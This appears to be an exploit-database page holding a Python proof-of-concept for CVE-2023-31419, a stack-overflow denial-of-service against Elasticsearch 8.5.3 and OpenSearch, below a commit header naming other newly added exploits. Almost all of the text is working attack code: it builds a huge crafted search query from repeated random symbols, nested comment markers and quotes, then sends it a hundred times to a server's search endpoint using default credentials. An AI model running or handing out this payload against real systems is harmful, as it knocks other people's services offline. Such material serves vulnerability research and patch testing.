a846c2fd3a
8 changes to exploits/shellcodes/ghdb Zyxel zysh - Format string Elasticsearch - StackOverflow DoS Advanced Page Visit Counter 1.0 - Admin+ Stored Cross-Site Scripting (XSS) (Authenticated) Online Nurse Hiring System 1.0 - Time-Based SQL Injection Rail Pass Management System 1.0 - Time-Based SQL Injection Wordpress Augmented-Reality - Remote Code Execution Unauthenticated Wordpress Seotheme - Remote Code Execution Unauthenticated
54 lines
No EOL
1.5 KiB
Text
54 lines
No EOL
1.5 KiB
Text
# Exploit Author: TOUHAMI KASBAOUI
|
|
# Vendor Homepage: https://elastic.co/
|
|
# Version: 8.5.3 / OpenSearch
|
|
# Tested on: Ubuntu 20.04 LTS
|
|
# CVE : CVE-2023-31419
|
|
# Ref: https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419
|
|
|
|
import requests
|
|
import random
|
|
import string
|
|
|
|
es_url = 'http://localhost:9200' # Replace with your Elasticsearch server URL
|
|
index_name = '*'
|
|
|
|
payload = "/*" * 10000 + "\\" +"'" * 999
|
|
|
|
verify_ssl = False
|
|
|
|
username = 'elastic'
|
|
password = 'changeme'
|
|
|
|
auth = (username, password)
|
|
|
|
num_queries = 100
|
|
|
|
for _ in range(num_queries):
|
|
symbols = ''.join(random.choice(string.ascii_letters + string.digits + '^') for _ in range(5000))
|
|
search_query = {
|
|
"query": {
|
|
"match": {
|
|
"message": (symbols * 9000) + payload
|
|
}
|
|
}
|
|
}
|
|
|
|
print(f"Query {_ + 1} - Search Query:")
|
|
|
|
search_endpoint = f'{es_url}/{index_name}/_search'
|
|
response = requests.get(search_endpoint, json=search_query, verify=verify_ssl, auth=auth)
|
|
|
|
if response.status_code == 200:
|
|
search_results = response.json()
|
|
|
|
print(f"Query {_ + 1} - Response:")
|
|
print(search_results)
|
|
|
|
total_hits = search_results['hits']['total']['value']
|
|
print(f"Query {_ + 1}: Total hits: {total_hits}")
|
|
|
|
for hit in search_results['hits']['hits']:
|
|
source_data = hit['_source']
|
|
print("Payload result: {search_results}")
|
|
else:
|
|
print(f"Error for query {_ + 1}: {response.status_code} - {response.text}") |